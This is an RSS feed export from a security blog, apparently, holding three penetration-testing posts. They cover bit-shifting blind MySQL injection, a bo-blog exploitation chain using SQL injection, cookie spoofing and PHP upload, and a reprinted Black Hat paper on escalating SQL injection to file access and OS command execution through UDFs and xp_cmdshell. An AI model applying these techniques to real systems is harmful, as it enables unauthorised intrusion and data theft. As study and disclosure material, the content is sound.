+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br />
| (ascii((substr(user(),1,1))) &gt;&gt; 0)=114 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br />
|                                      1 |<br />
+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-+<br />
1 row in set (0.00 sec)</p>
<p>Alright, so the binary representation of the character is:<br />
01110010</p>
<p>Converting it back gives us:</p>
<p>mysql&gt; select b&#8217;01110010&#8242;;<br />
+&#8212;&#8212;&#8212;&#8212;-+<br />
| b&#8217;01110010&#8242; |<br />
+&#8212;&#8212;&#8212;&#8212;-+<br />
| r           |<br />
+&#8212;&#8212;&#8212;&#8212;-+<br />
1 row in set (0.00 sec)</p>
<p>So the first character of user() is &#8220;r&#8221;.</p>
<p>With this technique we can assure that we have the character in 8 requests.</p>
<p>Further optimizing this technique can be done.<br />
The ASCII table is just 127 characters which is 7 bits per character so we can assume we will never go over it and decrement this technique with 1 request per character.</p>
<p>Chances are higher the second bit will be set to 1 since the second part of the ASCII table (characters 77-127) contain the characters a-z A-Z &#8211; the first part however contains numbers which are also used a lot but when automating it you might just want to try and skip this bit and immediatly try for the next one.</p>
<p>© Offensive Security 2011</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/faster-blind-mysql-injection-using-bit-shifting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>关于boblog任意变量覆盖漏洞的利用</title>
		<link>http://www.0x50sec.org/%e5%85%b3%e4%ba%8eboblog%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e%e7%9a%84%e5%88%a9%e7%94%a8/</link>
		<comments>http://www.0x50sec.org/%e5%85%b3%e4%ba%8eboblog%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e%e7%9a%84%e5%88%a9%e7%94%a8/#comments</comments>
		<pubDate>Sun, 13 Mar 2011 15:13:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[boblog]]></category>
		<category><![CDATA[任意变量覆盖]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1052</guid>
		<description><![CDATA[之前的Ryat牛在《bo-blog任意变量覆盖漏洞》一文介绍了漏洞的成因，虽然没有直接给出poc或者exp，给出了一个利用可以通过data://来执行命令的方法。 但是符合条件的网站毕竟不多所以不好用，但是分析一下源码或者google一下找到个sql注射漏洞就解决了问题，通过一个注射点爆出管理员密码的md5 hash，通过暴力破解或者cookie欺骗进后台，添加管理员帐号，然后利用网上公开的那个上传的exp上传php文件，就搞定了。 但是其实根本就没有必要用那个什么上传的exp，后来可能官方已经修补了那个上传的bug，但是直接在用户管理那用户组管理那，给管理员组上传的后缀名加上php就好了。也不用添加用户，或者修改密码了，直接从正门上传php多好。 但是2.1.2 beta 2后cookie欺骗后会发现还让输入密码，问题是管理员密码破解不出来，因为大牛的安全意识都很高，用变态的密码，一度以为boblog修补了cookie漏洞。 官方： 2011/02/20 V2.1.2.0220.0 (2.1.2 beta 1) *每次会话的首次登入后台都需要验证管理员密码。 *修改了一些过滤方法，避免某些安全问题。 *实验性的与内容长度相关的垃圾信息检测方式。 但是其实还是可以进行cookie欺骗进入后台的 只不过不仅仅要 setcookie (&#8216;userid&#8217;, &#8216;userid&#8217;,); setcookie (&#8216;userpsw&#8217;, &#8216;md5密文&#8217;, ); 而且要 setcookie (&#8216;adminuserid&#8217;, &#8216;userid&#8217;,); setcookie (&#8216;adminuserpsw&#8217;, &#8216;md5密文&#8217;, ); 之后又爆出了《bo-blog任意变量覆盖漏洞二》，尽管我之前也觉得那地方有问题，自己在ubuntu下用firefox测试居然不行，之前有过经验firefox会对&#60;等进行编码，而ie不会，于是我切换到windows下用ie浏览器测试，结果还是不行，所以就没再管，直到爆出《bo-blog任意变量覆盖漏洞二》。然后看了heige大牛的《浏览器差异带来的不仅仅是 XSS风险》才恍然大悟。自己也随便写了小程序提交才测试成功。 正好前段时间装了curl的库就整了个最简单的，可以夸张点称为《bo-blog任意变量覆盖漏洞二》的exp了或者《bo-blog任意变量覆盖漏洞二》漏洞利用程序了。 #include #include int main(int argc,char **argv) { CURL *curl; CURLcode res; curl = curl_easy_init(); if(curl) { curl_easy_setopt(curl, CURLOPT_URL, argv[1]); [...]]]></description>
			<content:encoded><![CDATA[<p>之前的Ryat牛在《bo-blog任意变量覆盖漏洞》一文介绍了漏洞的成因，虽然没有直接给出poc或者exp，给出了一个利用可以通过data://来执行命令的方法。<br />
但是符合条件的网站毕竟不多所以不好用，但是分析一下源码或者google一下找到个sql注射漏洞就解决了问题，通过一个注射点爆出管理员密码的md5 hash，通过暴力破解或者cookie欺骗进后台，添加管理员帐号，然后利用网上公开的那个上传的exp上传php文件，就搞定了。<br />
但是其实根本就没有必要用那个什么上传的exp，后来可能官方已经修补了那个上传的bug，但是直接在用户管理那用户组管理那，给管理员组上传的后缀名加上php就好了。也不用添加用户，或者修改密码了，直接从正门上传php多好。</p>
<p>但是2.1.2 beta 2后cookie欺骗后会发现还让输入密码，问题是管理员密码破解不出来，因为大牛的安全意识都很高，用变态的密码，一度以为boblog修补了cookie漏洞。<br />
<code><br />
官方：<br />
2011/02/20 V2.1.2.0220.0 (2.1.2 beta 1)<br />
*每次会话的首次登入后台都需要验证管理员密码。<br />
*修改了一些过滤方法，避免某些安全问题。<br />
*实验性的与内容长度相关的垃圾信息检测方式。<br />
</code><br />
但是其实还是可以进行cookie欺骗进入后台的<br />
只不过不仅仅要<br />
setcookie (&#8216;userid&#8217;, &#8216;userid&#8217;,);<br />
setcookie (&#8216;userpsw&#8217;, &#8216;md5密文&#8217;, );<br />
而且要<br />
setcookie (&#8216;adminuserid&#8217;, &#8216;userid&#8217;,);<br />
setcookie (&#8216;adminuserpsw&#8217;, &#8216;md5密文&#8217;, );<span id="more-1052"></span></p>
<p>之后又爆出了《bo-blog任意变量覆盖漏洞二》，尽管我之前也觉得那地方有问题，自己在ubuntu下用firefox测试居然不行，之前有过经验firefox会对&lt;等进行编码，而ie不会，于是我切换到windows下用ie浏览器测试，结果还是不行，所以就没再管，直到爆出《bo-blog任意变量覆盖漏洞二》。然后看了heige大牛的《浏览器差异带来的不仅仅是 XSS风险》才恍然大悟。自己也随便写了小程序提交才测试成功。<br />
正好前段时间装了curl的库就整了个最简单的，可以夸张点称为《bo-blog任意变量覆盖漏洞二》的exp了或者《bo-blog任意变量覆盖漏洞二》漏洞利用程序了。<br />
<code><br />
#include<br />
#include </code></p>
<p>int main(int argc,char **argv)<br />
{<br />
CURL *curl;<br />
CURLcode res;<br />
curl = curl_easy_init();<br />
if(curl)<br />
{<br />
curl_easy_setopt(curl, CURLOPT_URL, argv[1]);<br />
res = curl_easy_perform(curl);</p>
<p>/* always cleanup */<br />
curl_easy_cleanup(curl);<br />
}<br />
printf(&#8220;\n&#8221;);<br />
return 0;<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e5%85%b3%e4%ba%8eboblog%e4%bb%bb%e6%84%8f%e5%8f%98%e9%87%8f%e8%a6%86%e7%9b%96%e6%bc%8f%e6%b4%9e%e7%9a%84%e5%88%a9%e7%94%a8/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Advanced SQL injection to operating system full control</title>
		<link>http://www.0x50sec.org/advanced-sql-injection-to-operating-system-full-control/</link>
		<comments>http://www.0x50sec.org/advanced-sql-injection-to-operating-system-full-control/#comments</comments>
		<pubDate>Thu, 17 Feb 2011 12:26:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Microsoft SQL Server]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[postgresql]]></category>
		<category><![CDATA[SMB relay attack]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=1019</guid>
		<description><![CDATA[From:http://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-slides.pdf Advanced SQL injection to operating system full control Bernardo Damele Assumpção Guimarães bernardo.damele@gmail.com April 10, 2009 This white paper discusses the security exposures of a server that occur due to a SQL injection flaw in a web application that communicate with a database. Over ten years have passed since a famous hacker coined the [...]]]></description>
			<content:encoded><![CDATA[<p>From:http://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-slides.pdf</p>
<p>Advanced SQL injection to operating system full control<br />
Bernardo Damele Assumpção Guimarães<br />
bernardo.damele@gmail.com<br />
April 10, 2009</p>
<p>This white paper discusses the security exposures of a server that occur due to a SQL injection flaw in a web application that communicate with a database.<br />
Over ten years have passed since a famous hacker coined the term SQL injection and it is still considered one of the major application threats.A lot has been said on this vulnerability, but not all of the aspects and implications have been uncovered, yet.<br />
This paper aim is to collate some of the existing knowledge, introduce new techniques and demonstrate how to get complete control over the database management system&#8217;s underlying operating system, file system and internal network through a SQL injection vulnerability in over-looked and theoretically not exploitable scenarios.</p>
<p>Contents<br />
I Introduction<br />
1 SQL injection<br />
2 Web application scripting languages<br />
2.1 Batched queries<br />
3 Batched queries via SQL injection<br />
3.1 MySQL<br />
3.2 PostgreSQL<br />
3.3 Microsoft SQL Server</p>
<p>II File system access<br />
4 Read access<br />
4.1 MySQL<br />
4.2 PostgreSQL<br />
4.3 Microsoft SQL Server<br />
5 Write access<br />
5.1 MySQL<br />
5.2 PostgreSQL<br />
5.3 Microsoft SQL Server<br />
III Operating system access<br />
6 User-Defined Function<br />
7 UDF injection<br />
7.1 MySQL<br />
7.1.1 Shared library creation<br />
7.1.2 SQL injection to command execution<br />
7.2 PostgreSQL<br />
7.2.1 Shared library creation<br />
7.2.2 SQL injection to command execution<br />
8 Stored procedure<br />
8.1 Microsoft SQL Server<br />
8.1.1 xp_cmdshell procedure<br />
8.1.2 SQL injection to command execution</p>
<p>IV  Out-of-band connection<br />
9 Stand-alone payload stager<br />
9.1 Payload stager options<br />
9.2 Session<br />
10 SMB relay attack<br />
10.1 Universal Naming Convention<br />
10.2 Abuse UNC path requests<br />
10.2.1 MySQL<br />
10.2.2 PostgreSQL<br />
10.2.3 Microsoft SQL Server</p>
<p>11 Stored procedure buffer overflow<br />
11.1 Exploit<br />
11.2 Memory protection<br />
11.3 Bypass DEP</p>
<p>V Privilege escalation<br />
VI Conclusion<br />
12 Acknowledgments<br />
<span id="more-1019"></span></p>
<p>Part I<br />
Introduction<br />
SQL injection attack is not new.<br />
The basic concept behind this attack has been described over ten years ago by Jeff Forristal<br />
1 on Phrack2 issue 54[74].</p>
<p>The Open Web Application Security Project 3 stated in the OWASP Top Ten project4 that injection flaws[58], particularly SQL injection, is the most common and dangerous web application vulnerability, second only to Cross Site Scripting.<br />
The question now is: &#8220;How far can an attacker go by exploiting a SQL injection? &#8221;<br />
This is addressed in this paper.</p>
<p>1 SQL injection<br />
The OWASP Guide[57] defines SQL injection as follows:<br />
A SQL injection attack consists of insertion or &#8220;injection&#8221; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.</p>
<p>Although a common problem with web applications, this vulnerability can actually affect any application that communicates with a database management system via  Structured Query Language .</p>
<p>A SQL injection occurs when the application fails to properly sanitize user-supplied input used in SQL queries. In this way an attacker can manipulate the SQL statement that is passed to the back-end database management system. This statement will run with the same permissions as the application that executed the query. From now on I will refer to this user as session user.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
1 Jeff Forristal, also known as RFP and rain.forest.puppy, is an old school hacker currently employed at Zscaler Cloud Security. He is also famous for his personal Full Disclosure Policy.<br />
2 Phrack is an electronic magazine written by and for hackers first published November 17, 1985.<br />
3 The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software.<br />
4 The OWASP Top Ten represents a broad consensus about what the most critical web application<br />
security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list.<br />
5 Structured Query Language (SQL) is a database computer language designed for the retrieval and management of data in relational database management systems (RDBMS), database schema creation and modification, and database object access control management.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Modern database management systems are powerful applications.They usually provide built-in instruments to interact with the underlying file system and, in some cases, with the operating system. However, when they are absent, a motivated attacker can still access the file system and execute arbitrary commands on the underlying system: this paper will walk through how this can be achieved via a SQL injection vulnerability, focusing on web-based applications.</p>
<p>2 Web application scripting languages<br />
There are many web application dynamic scripting languages:<br />
some of the most consolidated and used are PHP6 , ASP7 and ASP.NET8 .<br />
All of these languages have pro and cons from either a web developer or a penetration tester perspective.<br />
They also have built-in or third-party connectors to interact with database management systems via SQL.<br />
A vast majority of web applications store and retrieve data from databases via SQL statements.<br />
On PHP, I used native functions used to connect and query the DBMS.<br />
On ASP, I used third-party connectors:<br />
MySQL Connector/ODBC 5.1 [54] for MySQL and PostgreSQL ANSI driver for PostgreSQL.<br />
On ASP.NET, I also used third-party connectors:<br />
Connector/Net 5.2.5 [53] for MySQL and Npgsql 1.0.1 [73] driver for PostgreSQL.<br />
The third-party connectors are available from database software vendors&#8217; websites.</p>
<p>2.1 Batched queries<br />
In Structured Query Language, batched queries, also known as stacked queries, is the ability to pass multiple SQL statements, separated by a semicolon, to the database.<br />
These statements will then be executed sequentially from left to right by the DBMS.<br />
Even though they are not related to one another, failure of one will cause the following statements to not be evaluated.<br />
The following one is an example of batched queries:<br />
SELECT col FROM table1 WHERE id=1; DROP table2<br />
PHP, ASP and ASP.NET scripting languages do support batched queries when interacting with the back-end DBMS with a couple of exceptions.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
6 PHP is a scripting language originally designed for producing dynamic web pages. It has evolved<br />
to include a command line interface capability and can be used in standalone graphical appli-<br />
cations.<br />
7 Active Server Pages (ASP), also known as Classic ASP, was Microsoft&#8217;s first server-side script<br />
engine for dynamically-generated web pages.<br />
8 ASP.NET is a web application framework developed and marketed by Microsoft to allow pro-<br />
grammers to build dynamic web sites, web applications and web services.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>The following table clarifies where batched queries are supported in a default installation.<br />
___________________________________<br />
|            |        |        |        |<br />
|              |  ASP    |ASP.NET|  PHP    |<br />
|___________|_______|_______|_______|<br />
|            |        |        |        |<br />
|MySQL        |    No    |    Yes    |    No    |<br />
|___________|_______|_______|_______|<br />
|            |        |        |        |<br />
|PostgreSQL    |    Yes    |    Yes    |    Yes    |<br />
|___________|_______|_______|_______|<br />
|            |        |        |        |<br />
|MSSQLServer|    Yes    |    Yes    |    Yes    |<br />
|___________|_______|_______|_______|</p>
<p>Figure 1: Programming languages and their support for batched queries Batched queries functionality is a key step for the understanding of this research.</p>
<p>3 Batched queries via SQL injection<br />
Testing for batched queries support in the web application via SQL injection can be done by appending to the vulnerable parameter, a SQL statement that delays the back-end DBMS responding. This can be achieved by calling a sleep function or by performing a heavy SELECT that takes time to return, this technique is also known as &#8220;heavy queries blind SQL injection&#8221;.</p>
<p>3.1 MySQL</p>
<p>It is necessary to fingerprint the DBMS software version before testing for batched 5.0.12 introduced[36] the SLEEP()[42] function whereas on BENCHMARK()[43] function (a heavy queries blind SQL injection) queries support: MySQL previous versions the could be abused.<br />
3.2 PostgreSQL<br />
It is necessary to fingerprint the DBMS software version before testing for batched queries support: PostgreSQL on previous versions the 8.2 introduced[60] the PG_SLEEP()[61] function whereas generate_series()[62] function (a heavy query blind SQL injection) could be abused.<br />
The attacker could also create a custom system built-in libc SLEEP() function from the operating<br />
library.<br />
3.3 Microsoft SQL Server<br />
Microsoft SQL server has a built-in statement for delaying the response from the DBMS: WAITFOR[32]<br />
used with its argument DELAY followed by time (e.g. WAITFOR DELAY &#8217;0:0:5&#8242;).</p>
<p>Part II File system access</p>
<p>In this section I explain how to exploit a SQL injection to get read and write access on the back-end DBMS underlying file system.<br />
Depending upon the configuration, it can be very complex to do and may require attention to the limits imposed by both the DBMS architecture and the web application.<br />
4 Read access<br />
During a penetration test it can be very useful to have read access to files on the compromised machine: it can lead to disclosure of information that helps the attacker to perform further attacks as it can lead to sensible users&#8217; information leakage.<br />
4.1 MySQL<br />
MySQL has a built-in function that allows the reading of text or binary files on the underlying file system:LOAD_FILE()[44].<br />
The session user must have the following privileges[45]:<br />
FILE and CREATE TABLE for the support table (only needed via batched queries).<br />
On Linux and UNIX systems, the file must be owned by the user that started the MySQL process (usually mysql) or be world-readable. On Windows, MySQL runs by default as Local System, so via the database management system it is possible to read any existing file.</p>
<p>The file content can be retrieved via either UNION query, blind or error based SQL injection technique.However, there are some limitations to consider when calling the LOAD_FILE() function:<br />
•The maximum length of file characters displayed is 5000 if the column data-type where the file content is appended is varchar;<br />
•The content is truncated to a few characters in many cases when it is retrieved via error based SQL injection technique;<br />
•The file can be in binary format (e.g. an ELF on Linux or a portable executable on Windows) and, depending on the web application language, it can not be displayed within the page content via UNION query or error based SQL injection technique.<br />
To bypass these limitations the steps are:</p>
<p>•Via batched queries:</p>
<p>Create a support table with one field, data-type longtext;<br />
Use LOAD_FILE() function to read the file content and redirect via INTO DUMPFILE[48] the corresponding hexadecimal encoded[47] string value into a temporary file;<br />
Use LOAD DATA INFILE[46] to load the temporary file content into the support table.</p>
<p>•Via any other SQL injection technique:<br />
Retrieve the length of the support table&#8217;s field value;<br />
Dump the support table&#8217;s field value in chunks of 1024 characters.</p>
<p>Now the chunks need to be assembled into a single hexadecimal encoded string which then needs to be decoded and written on a local file.</p>
<p>4.2 PostgreSQL</p>
<p>PostgreSQL has a built-in statement that allows the copying of text file from the underlying file system to a table&#8217;s text field:COPY[63].</p>
<p>The session user must be a super user to call this statement .9<br />
The file must be owned by the user that started the PostgreSQL process (usually postgres) or be world-readable.<br />
The file content can be retrieved via either UNION query, blind or error based SQL injection technique. However, the web application programming language must support batched queries.</p>
<p>he steps are:<br />
•Via batched queries:<br />
Create a support table with one field, data-type bytea;<br />
Use COPY statement to load the content of the text file into the support table.</p>
<p>•Via any other SQL injection technique:<br />
Count the number of entries in the support table;<br />
Dump the support table&#8217;s field entries base64 encoded via ENCODE function[64].</p>
<p>Now the dumped entries need to be assembled into a single base64 encoded string which then needs to be decoded and written on a local file.<br />
The COPY statement can not be used to read binary files since PostgreSQL 7.4:although a custom user-defined function can be used to read binary files instead.<br />
This user-defined function takes in input a binary file and output its content as an hexadecimal encoded string on a temporary text file. The attacker can then proceed to read this text file as detailed above.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
9 There is also a native function which aim is to read files, lo_import()[66], but it returns an OID that can later be passed as an argument to lo_export() function[66] to point to the referenced file and copy its content to another file path: It does not return the content so these two functions can not be used to read file via SQL injection.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
4.3 Microsoft SQL Server<br />
Microsoft SQL Server has a built-in statement that allows the insertion of either a<br />
text or a binary files content from the file system to a table&#8217;s VARCHAR field: BULK INSERT[33].<br />
The session user must have the following privileges:INSERT, ADMINISTER BULK OPERATIONS and CREATE TABLE.</p>
<p>Microsoft SQL Server 2000 runs by default as Administrator,so the database management system can read any existing file. This is the same on Microsoft SQL Server 2005 and 2008 when the database administrator has configured it to run either as Local System (SYSTEM) or as Administrator,otherwise the file must be world-readable which happens very often on Windows.<br />
The file content can be retrieved via either UNION query, blind or error based SQL injection technique. However, the web application programming language must support batched queries.<br />
The steps are:<br />
•Via batched queries:<br />
Create a support table (table1) with one field, data-type text;<br />
Create another support table (table2) with two fields, one data-type INT IDENTITY(1, 1) PRIMARY KEY and the other data-type VARCHAR(4096);<br />
Use BULK INSERT statement to load the content of the file as a single entry into the support table table1;<br />
Inject SQL code to convert[27] the support table table1 entry into its hexadecimal encoded value then INSERT 4096 characters of the encoded string into each entry of the support table table2.<br />
•Via any other SQL injection technique:<br />
Count the number of entries in the support table table2;<br />
Dump the support table table2&#8242;s varchar field entries sorted by PRIMARY KEY field.</p>
<p>Now the entries need to be assembled into a single hexadecimal encoded string which then needs to be decoded and written on a local file.</p>
<p>5 Write access</p>
<p>A strong proof of success of a penetration test is the ability to write on the underlying file system, as well as the execution of arbitrary commands. This will be explained later in the paper.<br />
5.1 MySQL<br />
MySQL has a built-in SELECT clause that allows the outputting of data into a file: INTO DUMPFILE[48].</p>
<p>The session user must have the following privileges:<br />
FILE and INSERT, UPDATE and CREATE TABLE for the support table (only needed via batched queries).</p>
<p>The created file is always world-writable. On Linux and UNIX systems it is owned by the user that started the MySQL process (usually mysql),On Windows, MySQLruns by default as Local System,and the file will be world-readable by everyone.</p>
<p>The file can be written via either UNION query or batched query SQL injection technique. Nevertheless there are some limitations to be considered when using the UNION query technique:<br />
•If the injection point is on a GET parameter, some web servers impose a limit on the length of the parameters&#8217; request;<br />
•It is not possible to append data to an existing file via INTO DUMPFILE clause.<br />
However, these limitations can be bypassed if the web application supports batched queries with MySQL as the back-end DBMS: ASP.NET is one of these programming languages.</p>
<p>The steps are:<br />
•On the attacker box:<br />
Encode the local file content to its corresponding hexadecimal string;<br />
Split the hexadecimal encoded string into chunks long 1024 characters each.<br />
•Via batched queries:<br />
Create a support table with one field, data-type longblob;<br />
INSERT[49] the first chunk into the support table&#8217;s field;<br />
UPDATE[50] the support table&#8217;s field by appending to the entry the chunks from the second to the last;<br />
Export the hexadecimal encoded file content from the support table&#8217;s entry to the destination file path by using SELECT&#8217;s INTO  DUMPFILE clause.<br />
This is possible because on MySQL, a query like SELECT 0&#215;41 returns the corresponding ASCII character A.<br />
It is possible to check if the file has been correctly written by retrieving the LENGTH[47] value of the written file.</p>
<p>It should be noted that abusing UNION query SQL injection technique to upload files to the database server can also be done when the web application language is ASP and PHP as they do not support batched queries by default.</p>
<p>5.2 PostgreSQL<br />
PostgreSQL has native functions[66] to deal with Large Objects[65]:lo_export() and lo_unlink().lo_create(),These functions have beende signed to store within the database large files or reference local files via pointers, called OID, that can be then copied to other files on the file system. However, it is possible to abuse these functions and successfully write text and binary files on the underlying file system via SQL injection, even though the source file is on the attacker machine.</p>
<p>The session user must be a &#8220;super user&#8221; to deal with Large Objects [65, 67].<br />
On Linux and UNIX systems the created file has permissions set to 644 and it is owned by the user that started the PostgreSQL process (usually postgres).On Windows, PostgreSQL runs by default as postgres,so the file owner is postgres..</p>
<p>The file can only be written via batched queries SQL injection technique.<br />
The steps are:<br />
•On the attacker box:<br />
Encode the local file content to its corresponding base64 string;<br />
Split the base64 encoded string into chunks long 1024 characters each.<br />
Via batched queries:<br />
Create a support table with one field, data-type text;<br />
INSERT[69] the first chunk into the support table&#8217;s field;<br />
UPDATE[70] the support table&#8217;s field by appending to the entry the chunks from the second to the last;<br />
Create a large object with a specific OID[66];<br />
UPDATE[70] the pg_largeobject[67] system table entry corresponding to our OID by setting the data field value to the decoded[64] value of our support table&#8217;s field entry;<br />
Export the data corresponding to our OID to the destination file path vialo_export().<br />
Note that lo_export() exports only the first 8192 bytes from the pg_largeobject<br />
table to the destination file, but this does not limit any of the attacks described later on this paper.</p>
<p>It is possible to check if the original file content has been correctly written to the<br />
pg_largeobject table by retrieving the LENGTH[64] value of the table&#8217;s data field corresponding to our OID. This value corresponds to the same size of the written file if it is smaller than 8192 bytes.</p>
<p>5.3 Microsoft SQL Server</p>
<p>Microsoft SQL Server has a native extended procedure to run commands on the underlying operating system:xp_cmdshell()[34].This extended procedure can be abused to execute the echo command redirecting its text arguments to a file. Refer to the section 8.1.1 for further details on this extended procedure.<br />
The session user must have CONTROL SERVER permission to call this extended procedure.<br />
The created file is owned by the user that started the Microsoft SQL Server process and is world-readable.</p>
<p>The steps are:<br />
•On the attacker box:<br />
Split the file to upload in chunks of 65280 bytes (debug script file size limit)10;<br />
Convert each chunk to its plain text debug script[3] format.<br />
•Via batched queries:</p>
<p>For each plain text chunk&#8217;s debug script:<br />
Execute the echo command via xp_cmdshell() to output the debug script to a temporary file all the lines;<br />
Recreate the chunk from the uploaded debug script by calling the Windows debug executable via xp_cmdshell();<br />
Remove the temporary debug script.<br />
Assemble the chunks with Windows copy executable to recreate the original file;<br />
Move the assembled file to the destination path.</p>
<p>It is possible to check if the file has been correctly written. The steps via batched queries are:<br />
• Create a support table with one field, data-type text;<br />
• Use BULK INSERT statement to load the content of the file as a single entry into the support table;<br />
• Retrieve the DATALENGTH value of the support table&#8217;s first entry.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
10 This technique was initially implemented by ToolCrypt Group on their dbgtool<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Part III Operating system access</p>
<p>Arbitrary command execution on the back-end DBMS underlying operating system can be achieved with all of the three database softwares. The requirements are: high privileged session user and batched queries support on the web application 11 .<br />
The techniques described in this chapter allow the execution of commands and the retrieval of their standard output via blind, UNION query or error based SQL injection technique: the command is executed via SQL injection and the standard output is also retrieved over HTTP protocol, this is an inband connection.</p>
<p>6 User-Defined Function</p>
<p>Wikipedia defines User-Defined Function (UDF) as follows:</p>
<p>&#8220;In SQL databases, a user-defined function provides a mechanism for extending the functionality of the database server by adding a function that can be evaluated in SQL statements. The SQL standard distinguishes between scalar and table functions. A scalar function returns only a single value (or NULL).<br />
[...] User-defined functions in SQL are declared using the CREATE FUNCTION statement.&#8221;</p>
<p>On modern database management systems, it is possible to create functions from shared libraries<br />
12 located on the file system.<br />
These functions can then be called within the SELECT statement like any other built-in string function.<br />
All of the three database management systems have a set of libraries and API 13 that can be used by developers to create user-defined functions.</p>
<p>On Linux and UNIX systems the shared library is a shared object[81] (SO) and can be compiled with GCC[13]. On Windows it is a dynamic-link library[80] (DLL) and can be compiled with Microsoft Visual C++[23].<br />
In order to compile a shared library, it is necessary to have the specific DBMS development libraries installed on the operating system.<br />
For instance, on recent versions of Debian GNU/Linux like systems to be able to compile a UDF for PostgreSQL you need to have installed the postgresql-server-dev-8.3 package.<br />
With Windows, the development library path need to be added manually to the Microsoft Visual C++ project settings.<br />
The next step is to place the shared library in a path where the DBMS looks for them when creating functions from shared libraries: where PostgreSQL allows the shared library to be placed in any readable/writable folder on either Windows or<br />
Linux, MySQL needs the binary file to be placed in a specific location which varies<br />
depending upon the particular software version and operating system.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
11 Only two on the nine possible combinations taken into account on table on page 6, do not support batched queries and consequently command execution is not possible via SQL injection: PHP with MySQL and ASP with MySQL.<br />
12 Shared libraries are libraries that are loaded by programs when they start. When a shared library is installed properly, all programs that start afterwords automatically use the new shared library.<br />
13 An application programming interface (API) is a set of routines, data structures, object classes and/or protocols provided by libraries and/or operating system services in order to support the building of applications.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>7 UDF injection</p>
<p>Attackers have so far under-estimated the potential of using UDF to control the underlying operating system. Yet, this over-looked area of database security potentially provides routes to achieve command execution.</p>
<p>By exploiting a SQL injection flaw it is possible to upload a shared library which contains two user-defined functions:<br />
• sys_eval(cmd)- executes an arbitrary command, and returns it&#8217;s standard output;<br />
• sys_exec(cmd)- executes an arbitrary command, and returns it&#8217;s exit code.</p>
<p>After uploading the binary file on a path where the back-end DBMS looks for shared libraries, the attacker can create the two user-defined functions from it: this would be UDF injection. Now, the attacker can call either of the two functions: if the command is executed via sys_exe(),it is executed via batched queries technique and no output is returned. Otherwise, if it is executed via sys_eval(),a support table is created, the command is run once and its standard output is inserted into the table and either the blind algorithm, the UNION query or the error based technique can be used to retrieve it by dumping the support table&#8217;s first entry; after the dump, the entry is deleted and the support table is clean to be used again.</p>
<p>7.1 MySQL<br />
7.1.1 Shared library creation<br />
On MySQL, it is possible to create a shared library that defines a user-defined function to execute commands on the underlying operating system. Marco Ivaldi demonstrated, some years ago, that his shared library[20] defined a UDF to execute a command. However, it is clear to me, that this has two limitations:<br />
• It is not MySQL 5.0+ compliant because it does not follow the new guidelines to create a proper UDF;•<br />
• It calls C system() function to execute the command and returns always integer 0.<br />
This expression of UDF is almost useless on new MySQL server versions because if an attacker wants to get the exit status or the standard output of the command he can not.</p>
<p>In fact, I have found that it is possible to use UDF to execute commands and retrieve their standard output via SQL injection.<br />
I firstly focus my attention on the UDF Repository for MySQL and patched one of their codes: lib_mysqludf_sy [79] by adding the sys_eval() function to execute arbitrary commands and returns the command standard output.This code iscompatible with both Linux and Windows.<br />
The patched source code is available on sqlmap subversion repository[5].<br />
The sys_exec() function can be used to execute arbitrary commands and has two advantages over Marco Ivaldi&#8217;s shared library:<br />
• It is MySQL 5.0+ compliant and it compiles on both Linux as a shared object and on Windows as a dynamic-link library;<br />
• It returns the exit status of the executed command.<br />
